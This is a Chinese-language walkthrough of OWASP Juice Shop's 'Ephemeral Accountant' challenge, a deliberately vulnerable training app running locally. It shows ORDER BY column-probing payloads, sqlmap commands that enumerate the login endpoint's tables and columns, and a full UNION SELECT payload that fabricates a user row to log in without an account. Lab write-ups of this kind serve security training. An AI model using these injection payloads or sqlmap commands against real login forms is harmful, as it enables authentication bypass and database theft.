目录

【juice-shop】★★★★ Ephemeral Accountant:通过 SQL 注入凭空创建临时用户

【juice-shop】★★★★ Ephemeral Accountant:通过 SQL 注入凭空创建临时用户

0x01 任务简报

🎯 挑战目标
在没有注册的情况下使用(不存在的)账号 acc0unt4nt@juice-sh.op 登录。
💡 官方提示 (Hints)
1. 尝试"凭空创建"所需的用户。
2. 用户必须具有短暂性,即"仅持续很短时间"。
3. 使用用户的电子邮件地址进行常规注册显然无法解决此问题。
4. 通过其他方式将用户导入数据库也无法解决此验证问题。
5. 该挑战属于注入类别的这一事实,本身就已揭示了其预期的解决思路。

0x02 前置知识

临时用户的概念

Ephemeral(短暂的) 意味着用户只在当前请求中存在,不会被持久化到数据库。

实现方式:

-- 不是 INSERT,而是在查询时动态构造用户数据
SELECT * FROM users
UNION
SELECT 15, '', 'acc0unt4nt@juice-sh.op', '12345', 'accounting', ...

SQLite 的 UNION 注入

SQLite 支持 UNION 查询,允许攻击者在查询结果中注入虚假数据。

关键特性:

  • 列数必须匹配
  • 数据类型必须兼容
  • 可以使用子查询动态构造数据

0x03 实战:复现漏洞

步骤1:抓取登录请求

使用 Burp Suite 或浏览器开发者工具抓取登录请求:

POST /rest/user/login HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json

{"email":"test@test.com","password":"password"}

../../../../../../public/p/juice-shop-ephemeral-accountant通过-sql-注入凭空创建临时用户/assets/Pastedimage20260416203043.png

步骤2:探测 SQL 注入点

在 email 字段中注入 SQL 代码,使用 ORDER BY 来确定列数:

Payload 1:测试 13 列

' order by 13 --+

结果: 返回正常响应 ✅

../../../../../../public/p/juice-shop-ephemeral-accountant通过-sql-注入凭空创建临时用户/assets/Pastedimage20260416203020.png

Payload 2:测试 14 列

' order by 14 --+

结果: 返回错误响应 ❌

../../../../../../public/p/juice-shop-ephemeral-accountant通过-sql-注入凭空创建临时用户/assets/Pastedimage20260416203214.png

结论: 数据库表有 13 列

步骤3:使用 SQLMap 进行自动化注入

第一步:保存请求到文件

创建 request.txt 文件,内容为登录请求:

POST /rest/user/login HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json

{"email":"*","password":"1"}

../../../../../../public/p/juice-shop-ephemeral-accountant通过-sql-注入凭空创建临时用户/assets/Pastedimage20260417091114.png

第二步:列出所有表

sqlmap -r request.txt -p email --tables --batch --ignore-code=401

结果:

../../../../../../public/p/juice-shop-ephemeral-accountant通过-sql-注入凭空创建临时用户/assets/Pastedimage20260417091404.png

第三步:列出 Users 表的列

sqlmap -r request.txt -p email -T Users --columns --batch --ignore-code=401

结果:

../../../../../../public/p/juice-shop-ephemeral-accountant通过-sql-注入凭空创建临时用户/assets/Pastedimage20260417091602.png

步骤4:构造 UNION 注入 Payload

使用 UNION SELECT 动态创建临时用户:

' UNION SELECT * FROM (
  SELECT 
    15 as 'id', 
    '' as 'username', 
    'acc0unt4nt@juice-sh.op' as 'email', 
    '12345' as 'password', 
    'accounting' as 'role', 
    '123' as 'deluxeToken', 
    '1.2.3.4' as 'lastLoginIp', 
    '/assets/public/images/uploads/default.svg' as 'profileImage', 
    '' as 'totpSecret', 
    1 as 'isActive', 
    '1999-08-16 14:14:41.644 +00:00' as 'createdAt', 
    '1999-08-16 14:33:41.930 +00:00' as 'updatedAt', 
    null as 'deletedAt'
)--

Payload 说明:

  • UNION SELECT - 将虚假数据与真实查询结果合并
  • SELECT ... FROM (...) - 子查询动态构造用户数据
  • 所有 13 列都必须指定
  • 数据类型和顺序必须匹配

../../../../../../public/p/juice-shop-ephemeral-accountant通过-sql-注入凭空创建临时用户/assets/Pastedimage20260417092450.png

步骤5:使用 Payload 登录

在登录表单中输入 Payload 作为邮箱:

邮箱: ' UNION SELECT * FROM (SELECT 15 as 'id', '' as 'username', 'acc0unt4nt@juice-sh.op' as 'email', '12345' as 'password', 'accounting' as 'role', '123' as 'deluxeToken', '1.2.3.4' as 'lastLoginIp' , '/assets/public/images/uploads/default.svg' as 'profileImage', '' as 'totpSecret', 1 as 'isActive', '1999-08-16 14:14:41.644 +00:00' as 'createdAt', '1999-08-16 14:33:41.930 +00:00' as 'updatedAt', null as 'deletedAt')--
密码: 12345

登录成功! 🎉

参考